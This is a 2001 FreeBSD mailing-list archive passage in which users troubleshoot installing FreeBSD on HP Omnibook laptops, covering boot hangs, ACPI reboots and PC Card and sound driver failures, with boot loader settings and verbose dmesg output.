<20011124000527.A649@gvr.gvr.org> References: <20011123233211.A187@gvr.gvr.org> <20011123145759.A9650@Odin.AC.HMC.Edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011123145759.A9650@Odin.AC.HMC.Edu>; from brooks@one-eyed-alien.net on Fri, Nov 23, 2001 at 02:57:59PM -0800 Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, Nov 23, 2001 at 02:57:59PM -0800, Brooks Davis wrote: > > There seems to be an odd interaction with the 4.4 keyboard probe and > some BIOS versions. If you use the keyboard (say, to select the floppy > as a boot device) the system will detect the keyboard. Otherwise, it > doesn't and boots to the serial console. I haven't had any problems > with current and 4.3 worked as well. I think a BIOS upgrade helped, but > I can't remember for sure since current didn't have problems. > That doesn't explian why I dont even get the message about the boot device and why sysinstall does not start... -Guido To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 15: 7: 3 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from gvr.gvr.org (gvr.gvr.org [212.61.40.17]) by hub.freebsd.org (Postfix) with ESMTP id 72FA437B405 for ; Fri, 23 Nov 2001 15:07:01 -0800 (PST) Received: by gvr.gvr.org (Postfix, from userid 657) id 774555809; Sat, 24 Nov 2001 00:07:00 +0100 (CET) Date: Sat, 24 Nov 2001 00:07:00 +0100 From: Guido van Rooij To: jay Cc: freebsd-mobile@FreeBSD.ORG Subject: Re: fail to install 4.4 on omnibook 500 Message-ID: <20011124000700.B649@gvr.gvr.org> References: <20011123233211.A187@gvr.gvr.org> <20011123143420.K60206-100000@spam.musubi.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011123143420.K60206-100000@spam.musubi.org>; from jay@musubi.org on Fri, Nov 23, 2001 at 02:43:28PM -0800 Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, Nov 23, 2001 at 02:43:28PM -0800, jay wrote: > i have an omnibook 500 and that happened to me as well. > i dimly remember booting from the 4.3 install disks and in the > install options specifying 4.4 as the release to install. I'll try that tomorrow. I also want to make boot floppies first that pause after each device probe and with a debugger in the kernel so that I can try to diagnose what the porblem is. -Guido To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 19: 2: 0 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from northgate.starhub.net.sg (northgate.starhub.net.sg [203.117.1.53]) by hub.freebsd.org (Postfix) with ESMTP id 89A1837B416 for ; Fri, 23 Nov 2001 19:01:56 -0800 (PST) Received: from localhost.localdomain (mcns191.docsis57.singa.pore.net [202.156.57.191]) by northgate.starhub.net.sg (8.12.1/8.12.1) with ESMTP id fAO31lIH012599; Sat, 24 Nov 2001 11:01:47 +0800 (SST) Received: (from najib@localhost) by localhost.localdomain (8.11.6/8.11.6) id fAO315V01654; Sat, 24 Nov 2001 11:01:05 +0800 Date: Sat, 24 Nov 2001 11:01:04 +0800 From: Najib Ninaba To: Guido van Rooij Cc: freebsd-mobile@freebsd.org Subject: Re: fail to install 4.4 on omnibook 500 Message-ID: <20011124110104.A1645@srikandi.spriggan.int> Reply-To: najib_ninaba@yahoo.com References: <20011123233211.A187@gvr.gvr.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="lrZ03NoBR/3+SXJZ" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011123233211.A187@gvr.gvr.org>; from guido@gvr.org on Fri, Nov 23, 2001 at 11:32:11PM +0100 Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --lrZ03NoBR/3+SXJZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hello, You might want to add in a couple of settings in the boot loader before booting. Press the spacebar enter into the boot loader while it's counting down to boot. Insert these two lines at the ok prompt: set hw.pcic.intr_path=3D"1" set hw.pcic.irq=3D"0" And then type boot to resume the booting sequence. That should solve the installation phase. Regards, Najib Ninaba On Fri, Nov 23, 2001 at 11:32:11PM +0100, Guido van Rooij wrote: > I got an omnibook 500 today but it completely fails to install FreeBSD. > I have it with a floppy drive. Booting from kern and mfsroot goes fine, > but just after probing ad0, the system kind of hangs. > I disabled all unnecessaryy devices and upgraded the BIOS. >=20 > With 'kind of hangs' I mean that ctrl-alt-del does not work, and > also scroll lock will not work (though the scrolllock led is turned on). > Ctrl-alt-esc gives the No debugger in kernel message and that is about it. >=20 > Does anyone recogize this? Anyone has other options?=20 >=20 > (I do not have a cd or dvd drive with it). >=20 > -Guido >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-mobile" in the body of the message --=20 Najib Ninaba=20 "Life's unfair - but having the root password helps!" -- PGP fingerprint B338 7EC2 B737 3BAA 03B1 38C7 0832 B6CF 160F 496E -- To verify the signature, get my PGP public key at http://www.keyserver.net/en/ KeyID:0x160F496E --lrZ03NoBR/3+SXJZ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7/w1wCDK2zxYPSW4RAqt4AJ9LJRrZNy5e8g5o7yNbdJUw4aJSswCfeW9+ xP8G/72LW0p5ziJZVqDqCDc= =otY+ -----END PGP SIGNATURE----- --lrZ03NoBR/3+SXJZ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 21:11:20 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from CRWdog.demon.co.uk (adsl-216-103-105-71.dsl.snfc21.pacbell.net [216.103.105.71]) by hub.freebsd.org (Postfix) with ESMTP id A055437B416; Fri, 23 Nov 2001 21:11:13 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by CRWdog.demon.co.uk (Postfix) with ESMTP id 593EE3E31; Fri, 23 Nov 2001 21:11:09 -0800 (PST) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: current@freebsd.org, mobile@freebsd.org Subject: ACPI causes immediate reboot? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 23 Nov 2001 21:11:09 -0800 From: Andy Sparrow Message-Id: <20011124051109.593EE3E31@CRWdog.demon.co.uk> Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hi. Using ACPI in -CURRENT from yesterday causes an (almost) immediate reboot on an HP Omnibook 6100. Here's the longest dmesg I've seen from this: Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #1: Sat Nov 24 18:38:34 PST 2001 root@tureg.geek4food.org:/home/Current/src/sys/i386/compile/test Preloaded elf kernel "/boot/kernel/kernel" at 0xc04a0000. Preloaded elf module "/boot/kernel/acpi.ko" at 0xc04a00b4. Calibrating clock(s) ... TSC clock: 1129541023 Hz, i8254 clock: 1193151 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency Timecounter "i8254" frequency 1193182 Hz CLK_USE_TSC_CALIBRATION not specified - using old calibration method Timecounter "TSC" frequency 1129577046 Hz CPU: Pentium III/Pentium III Xeon/Celeron (1129.58-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x6b1 Stepping = 1 Features=0x383f9ff real memory = 267780096 (261504K bytes) Physical memory chunk(s): 0x00001000 - 0x0009efff, 647168 bytes (158 pages) 0x004c7000 - 0x0ff57fff, 262737920 bytes (64145 pages) avail memory = 255885312 (249888K bytes) bios32: Found BIOS32 Service Directtwork setup: pcibios: PCI BIOS ICAST> mtu 16384 pnpbios: Entry = f0000:a2e4 Rev = 1.0 pnpbios: Event flag at 4b4 Other BIOS signatures found: null: random: mem: <118>Routing daemons: pci_open(1): modogd pci_cfgchecknal network daemons: Using 'unset acpi_load' or disabling ACPI in device.hints & then later kldloading ACPI gives these messages: Bold: acpi_alloc_wakeup_handler: unable to allocate wake memory module_register_init: MOD_LOAD (nexus/acpi, c01eb598, 0xc17bcafc) error 1 pccbb0: at device 5.0 on pci2 pccbb0: Could not map register memory device_probe_and_attach: pccbb0 attach returned 12 pccbb0: at device 5.1 on pci2 pccbb0: Could not map register memory device_probe_and_attach: pccbb0 attach returned 12 Dim: Nov 24 19:40:48 tureg /boot/kernel/kernel: acpi_alloc_wakeup_handler: unable to allocate wake memory Nov 24 19:40:48 tureg /boot/kernel/kernel: module_register_init: MOD_LOAD (nexus/acpi, c01eb598, 0xc17bcafc) error 1 Nov 24 19:40:48 tureg /boot/kernel/kernel: pccbb0: at device 5.0 on pci2 Nov 24 19:40:48 tureg /boot/kernel/kernel: pccbb0: Could not map register memory Nov 24 19:40:48 tureg /boot/kernel/kernel: device_probe_and_attach: pccbb0 attach returned 12 Cheers, AS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 21:53:17 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from CRWdog.demon.co.uk (adsl-216-103-105-71.dsl.snfc21.pacbell.net [216.103.105.71]) by hub.freebsd.org (Postfix) with ESMTP id C547A37B405; Fri, 23 Nov 2001 21:52:16 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by CRWdog.demon.co.uk (Postfix) with ESMTP id D0E203E31; Fri, 23 Nov 2001 21:52:09 -0800 (PST) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: current@freebsd.org, mobile@freebsd.org Subject: PCCARD/NEWCARD won't configure on 5.0 Mime-Version: 1.0 Content-Type: multipart/mixed ; boundary="==_Exmh_15546713240" Date: Fri, 23 Nov 2001 21:52:09 -0800 From: Andy Sparrow Message-Id: <20011124055209.D0E203E31@CRWdog.demon.co.uk> Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org This is a multipart MIME message. --==_Exmh_15546713240 Content-Type: text/plain; charset=us-ascii Hi, As -STABLE won't configure the sound device in my HP Omnibook 6100, I gave 5.0-CURRENT a whirl. With a NEWCARD-based kernel, it won't configure the Cardbus controller (which works under -STABLE) but it /will/ configure the sound device (an ESS Allegro-1). With a PCCARD-based kernel, 5.0 won't configure the card controller or the sound. Setting or unsetting PCI_ENABLE_IO_MODES in the config file doesn't seem to make any difference to the behaviour. The verbose output of both kernels is attached. With the latest XFree86 from CVS, this laptop is this close -><- to working, but I can't choose between PCCARD (I don't /need/ Cardbus) or sound. To add insult to injury, it allegedly Just Works in Hed Rat. Verbose boot output attached. Anyone got any ideas? Regards, AS --==_Exmh_15546713240 Content-Type: text/plain ; name="dmesg-50-pccard-verbose.txt"; charset=us-ascii Content-Description: dmesg-50-pccard-verbose.txt Content-Disposition: attachment; filename="dmesg-50-pccard-verbose.txt" Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #1: Sat Nov 24 21:41:33 PST 2001 root@tureg.geek4food.org:/home/Current/src/sys/i386/compile/test-gen Preloaded elf kernel "/boot/kernel/kernel" at 0xc0449000. Calibrating clock(s) ... TSC clock: 1129543867 Hz, i8254 clock: 1193154 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency Timecounter "i8254" frequency 1193182 Hz CLK_USE_TSC_CALIBRATION not specified - using old calibration method Timecounter "TSC" frequency 1129576835 Hz CPU: Pentium III/Pentium III Xeon/Celeron (1129.58-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x6b1 Stepping = 1 Features=0x383f9ff real memory = 267780096 (261504K bytes) Physical memory chunk(s): 0x00001000 - 0x0009efff, 647168 bytes (158 pages) 0x00470000 - 0x0ff57fff, 263094272 bytes (64232 pages) avail memory = 256245760 (250240K bytes) bios32: Found BIOS32 Service Directory header at 0xc00f6670 bios32: Entry = 0xfd7f2 (c00fd7f2) Rev = 0 Len = 1 pcibios: PCI BIOS entry at 0xfd7f0+0x178 pnpbios: Found PnP BIOS data at 0xc00f6690 pnpbios: Entry = f0000:a2e4 Rev = 1.0 pnpbios: Event flag at 4b4 Other BIOS signatures found: null: random: mem: Pentium Pro MTRR support enabled pci_open(1): mode 1 addr port (0x0cf8) is 0x8000f904 pci_open(1a): mode1res=0x80000000 (0x80000000) pci_cfgcheck: device 0 [class=060000] [hdr=00] is there (id=35758086) Using $PIR table, 14 entries at 0xc00fdee0 npx0: on motherboard npx0: INT 16 interface pcib0: at pcibus 0 on motherboard pci0: physical bus=0 map[10]: type 3, range 32, base e0000000, size 28, enabled found-> vendor=0x8086, dev=0x3575, revid=0x02 bus=0, slot=0, func=0 class=06-00-00, hdrtype=0x00, mfdev=0 found-> vendor=0x8086, dev=0x3576, revid=0x02 bus=0, slot=1, func=0 class=06-04-00, hdrtype=0x01, mfdev=0 map[20]: type 4, range 32, base 00001800, size 5, enabled found-> vendor=0x8086, dev=0x2482, revid=0x01 bus=0, slot=29, func=0 class=0c-03-00, hdrtype=0x00, mfdev=0 intpin=a, irq=10 found-> vendor=0x8086, dev=0x2448, revid=0x41 bus=0, slot=30, func=0 class=06-04-00, hdrtype=0x01, mfdev=0 found-> vendor=0x8086, dev=0x248c, revid=0x01 bus=0, slot=31, func=0 class=06-01-00, hdrtype=0x00, mfdev=1 map[10]: type 4, range 32, base 000001f0, size 3, enabled map[14]: type 4, range 32, base 000003f4, size 2, enabled map[18]: type 4, range 32, base 00000170, size 3, enabled map[1c]: type 4, range 32, base 00000374, size 2, enabled map[20]: type 4, range 32, base 00001820, size 4, enabled map[24]: type 1, range 32, base d0000000, size 10, memory disabled found-> vendor=0x8086, dev=0x248a, revid=0x01 bus=0, slot=31, func=1 class=01-01-8a, hdrtype=0x00, mfdev=0 intpin=a, irq=255 map[20]: type 4, range 32, base 00001840, size 5, enabled found-> vendor=0x8086, dev=0x2483, revid=0x01 bus=0, slot=31, func=3 class=0c-05-00, hdrtype=0x00, mfdev=0 intpin=b, irq=10 pci0: on pcib0 pcib1: at device 1.0 on pci0 pcib1: secondary bus 1 pcib1: subordinate bus 1 pcib1: I/O decode 0x2000-0x2fff pcib1: memory decode 0xd0100000-0xd01fffff pcib1: prefetched decode 0xd8000000-0xdfffffff pci1: physical bus=1 map[10]: type 3, range 32, base d8000000, size 27, enabled map[14]: type 4, range 32, base 00002000, size 8, enabled map[18]: type 1, range 32, base d0100000, size 16, enabled found-> vendor=0x1002, dev=0x4c59, revid=0x00 bus=1, slot=0, func=0 class=03-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=10 powerspec 2 supports D0 D1 D2 D3 current D0 pci1: on pcib1 pci1: at device 0.0 (no driver attached) uhci0: port 0x1800-0x181f irq 10 at device 29.0 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered pcib2: at device 30.0 on pci0 pcib2: secondary bus 2 pcib2: subordinate bus 2 pcib2: I/O decode 0x3000-0x3fff pcib2: memory decode 0xd0200000-0xd02fffff pcib2: prefetched decode 0xf0000000-0xf00fffff pci2: physical bus=2 map[10]: type 3, range 32, base f0018000, size 6, enabled map[14]: type 3, range 32, base f0000000, size 16, enabled map[18]: type 3, range 32, base f0010000, size 15, enabled map[1c]: type 4, range 32, base 00003400, size 6, enabled found-> vendor=0x10b7, dev=0x1007, revid=0x00 bus=2, slot=2, func=0 class=07-80-00, hdrtype=0x00, mfdev=0 intpin=a, irq=10 powerspec 2 supports D0 D2 D3 current D0 map[10]: type 4, range 32, base 00003000, size 8, port disabled found-> vendor=0x125d, dev=0x1988, revid=0x12 bus=2, slot=3, func=0 class=04-01-00, hdrtype=0x00, mfdev=0 intpin=a, irq=5 powerspec 2 supports D0 D1 D2 D3 current D0 found-> vendor=0x104c, dev=0xac51, revid=0x00 bus=2, slot=5, func=0 class=06-07-00, hdrtype=0x02, mfdev=1 intpin=a, irq=255 powerspec 2 supports D0 D1 D2 D3 current D0 found-> vendor=0x104c, dev=0xac51, revid=0x00 bus=2, slot=5, func=1 class=06-07-00, hdrtype=0x02, mfdev=1 intpin=b, irq=255 powerspec 2 supports D0 D1 D2 D3 current D0 map[10]: type 1, range 32, base d0200000, size 12, enabled map[14]: type 4, range 32, base 00003440, size 6, enabled found-> vendor=0x8086, dev=0x1038, revid=0x41 bus=2, slot=8, func=0 class=02-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=10 powerspec 2 supports D0 D1 D2 D3 current D0 pci2: on pcib2 pci2: at device 2.0 (no driver attached) pci2: at device 3.0 (no driver attached) pci_cfgintr_search: linked (62) to configured irq 0 at 0:31:0 pci_cfgintr: 0:30 INTC routed to irq 0 pcib2: routed slot 5 INTA to irq 0 pcic0: irq 0 at device 5.0 on pci2 pcib2: device pcic0 requested unsupported memory range 0x44000000-0xffffffff (decoding 0xd0200000-0xd02fffff, 0xf0000000-0xf00fffff) pcic0: Could not grab register memory device_probe_and_attach: pcic0 attach returned 12 pci_cfgintr_linked: linked (63) to hard-routed irq 10 pci_cfgintr: 0:30 INTD routed to irq 10 pcib2: routed slot 5 INTB to irq 10 pcic0: irq 10 at device 5.1 on pci2 pcib2: device pcic0 requested unsupported memory range 0x44000000-0xffffffff (decoding 0xd0200000-0xd02fffff, 0xf0000000-0xf00fffff) pcic0: Could not grab register memory device_probe_and_attach: pcic0 attach returned 12 fxp0: port 0x3440-0x347f mem 0xd0200000-0xd0200fff irq 10 at device 8.0 on pci2 pcib2: device fxp0 requested decoded memory range 0xd0200000-0xd0200fff fxp0: using memory space register mapping fxp0: Ethernet address 00:c0:9f:04:82:0c fxp0: PCI IDs: 8086 1038 103c 001a 0041 fxp0: Dynamic Standby mode is disabled inphy0: on miibus0 inphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto bpf: fxp0 attached isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0x1820-0x182f,0x374-0x377,0x170-0x177,0x3f4-0x3f7,0x1f0-0x1f7 mem 0xd0000000-0xd00003ff at device 31.1 on pci0 ata0: iobase=0x01f0 altiobase=0x03f6 bmaddr=0x1820 ata0: mask=03 ostat0=50 ostat2=00 ata0-master: ATAPI probe 00 00 ata0-slave: ATAPI probe 00 00 ata0: mask=03 stat0=50 stat1=00 ata0-master: ATA probe 01 a5 ata0: devices=01 ata0: at 0x1f0 irq 14 on atapci0 ata1: iobase=0x0170 altiobase=0x0376 bmaddr=0x1828 ata1: mask=03 ostat0=50 ostat2=00 ata1-master: ATAPI probe 14 eb ata1-slave: ATAPI probe 00 00 ata1: mask=03 stat0=00 stat1=00 ata1: devices=04 ata1: at 0x170 irq 15 on atapci0 pci0: at device 31.3 (no driver attached) ata-: ata0 already exists, skipping it ata-: ata1 already exists, skipping it Trying Read_Port at 203 Trying Read_Port at 243 Trying Read_Port at 283 Trying Read_Port at 2c3 Trying Read_Port at 303 Trying Read_Port at 343 Trying Read_Port at 383 Trying Read_Port at 3c3 pnpbios: 17 devices, largest 234 bytes PNP0c02: adding io range 0x10-0x1f, size=0x10, align=0x1 PNP0c02: adding io range 0x24-0x25, size=0x2, align=0x1 PNP0c02: adding io range 0x28-0x29, size=0x2, align=0x1 PNP0c02: adding io range 0x2c-0x2d, size=0x2, align=0x1 PNP0c02: adding io range 0x30-0x31, size=0x2, align=0x1 PNP0c02: adding io range 0x34-0x35, size=0x2, align=0x1 PNP0c02: adding io range 0x38-0x39, size=0x2, align=0x1 PNP0c02: adding io range 0x3c-0x3d, size=0x2, align=0x1 PNP0c02: adding io range 0x50-0x53, size=0x4, align=0x1 PNP0c02: adding io range 0x72-0x73, size=0x2, align=0x1 PNP0c02: adding io range 0x74-0x75, size=0x2, align=0x1 PNP0c02: adding io range 0x76-0x77, size=0x2, align=0x1 PNP0c02: adding io range 0x80-0x80, size=0x1, align=0x1 PNP0c02: adding io range 0x90-0x91, size=0x2, align=0x1 PNP0c02: adding io range 0x92-0x92, size=0x1, align=0x1 PNP0c02: adding io range 0x93-0x9f, size=0xd, align=0x1 PNP0c02: adding io range 0xa4-0xa5, size=0x2, align=0x1 PNP0c02: adding io range 0xa8-0xa9, size=0x2, align=0x1 PNP0c02: adding io range 0xac-0xad, size=0x2, align=0x1 PNP0c02: adding io range 0xb0-0xb1, size=0x2, align=0x1 PNP0c02: adding io range 0xb2-0xb3, size=0x2, align=0x1 PNP0c02: adding io range 0xb4-0xb5, size=0x2, align=0x1 PNP0c02: adding io range 0xb8-0xb9, size=0x2, align=0x1 PNP0c02: adding io range 0xbc-0xbd, size=0x2, align=0x1 PNP0c02: adding fixed memory32 range 0xfebffc00-0xfebfffff, size=0x400 PNP0c02: adding fixed memory32 range 0xfff00000-0xffffffff, size=0x100000 pnpbios: handle 1 device ID PNP0c02 (020cd041) PNP0c01: adding fixed memory32 range 0-0x9ffff, size=0xa0000 PNP0c01: adding fixed memory32 range 0xe0000-0xfffff, size=0x20000 PNP0c01: adding fixed memory32 range 0x100000-0x1007fbff, size=0xff7fc00 pnpbios: handle 2 device ID PNP0c01 (010cd041) PNP0200: adding io range 0-0xf, size=0x10, align=0x1 PNP0200: adding io range 0x81-0x8f, size=0xf, align=0x1 PNP0200: adding io range 0xc0-0xdf, size=0x20, align=0x1 PNP0200: adding dma mask 0x10 pnpbios: handle 3 device ID PNP0200 (0002d041) PNP0000: adding io range 0x20-0x21, size=0x2, align=0x1 PNP0000: adding io range 0xa0-0xa1, size=0x2, align=0x1 PNP0000: adding irq mask 0x4 pnpbios: handle 4 device ID PNP0000 (0000d041) PNP0100: adding io range 0x40-0x43, size=0x4, align=0x1 PNP0100: adding irq mask 0x1 pnpbios: handle 5 device ID PNP0100 (0001d041) PNP0b00: adding io range 0x70-0x71, size=0x2, align=0x1 PNP0b00: adding irq mask 0x100 pnpbios: handle 6 device ID PNP0b00 (000bd041) PNP0303: adding io range 0x60-0x60, size=0x1, align=0x1 PNP0303: adding io range 0x64-0x64, size=0x1, align=0x1 PNP0303: adding irq mask 0x2 pnpbios: handle 7 device ID PNP0303 (0303d041) PNP0c04: adding io range 0xf0-0xff, size=0x10, align=0x1 PNP0c04: adding irq mask 0x2000 pnpbios: handle 8 device ID PNP0c04 (040cd041) PNP0800: adding io range 0x61-0x61, size=0x1, align=0x1 pnpbios: handle 9 device ID PNP0800 (0008d041) PNP0c02: adding fixed memory32 range 0xce000-0xcffff, size=0x2000 pnpbios: handle 10 device ID PNP0c02 (020cd041) PNP0a03: adding io range 0xcf8-0xcff, size=0x8, align=0x1 pnpbios: handle 11 device ID PNP0a03 (030ad041) PNP0c02: adding io range 0x4d0-0x4d1, size=0x2, align=0x1 PNP0c02: adding io range 0x1000-0x105f, size=0x60, align=0x1 PNP0c02: adding io range 0x1060-0x107f, size=0x20, align=0x1 PNP0c02: adding io range 0x1180-0x11bf, size=0x40, align=0x1 pnpbios: handle 12 device ID PNP0c02 (020cd041) INT0800: adding fixed memory32 range 0xffb80000-0xffbfffff, size=0x80000 INT0800: adding fixed memory32 range 0xffb00000-0xffb7ffff, size=0x80000 INT0800: adding fixed memory32 range 0xffa80000-0xffafffff, size=0x80000 INT0800: adding fixed memory32 range 0xffa00000-0xffa7ffff, size=0x80000 INT0800: adding fixed memory32 range 0xff980000-0xff9fffff, size=0x80000 INT0800: adding fixed memory32 range 0xff900000-0xff97ffff, size=0x80000 INT0800: adding fixed memory32 range 0xff880000-0xff8fffff, size=0x80000 INT0800: adding fixed memory32 range 0xff800000-0xff87ffff, size=0x80000 INT0800: adding fixed memory32 range 0xff000000-0xff07ffff, size=0x80000 pnpbios: handle 13 device ID INT0800 (0008d425) PNP0401: adding io range 0x378-0x37f, size=0x8, align=0x8 PNP0401: adding io range 0x778-0x77a, size=0x3, align=0x8 PNP0401: adding irq mask 0x80 PNP0401: adding dma mask 0x2 pnpbios: handle 16 device ID PNP0401 (0104d041) PNP0700: adding io range 0x3f0-0x3f5, size=0x6, align=0x8 PNP0700: adding io range 0x3f7-0x3f7, size=0x1, align=0x1 PNP0700: adding irq mask 0x40 PNP0700: adding dma mask 0x4 pnpbios: handle 18 device ID PNP0700 (0007d041) PNP0501: adding io range 0x3f8-0x3ff, size=0x8, align=0x8 PNP0501: adding irq mask 0x10 pnpbios: handle 19 device ID PNP0501 (0105d041) PNP0f13: adding irq mask 0x1000 pnpbios: handle 23 device ID PNP0f13 (130fd041) ex_isa_identify() sc-: sc0 already exists, skipping it vga-: vga0 already exists, skipping it isa_probe_children: disabling PnP devices isa_probe_children: probing non-PnP devices orm0: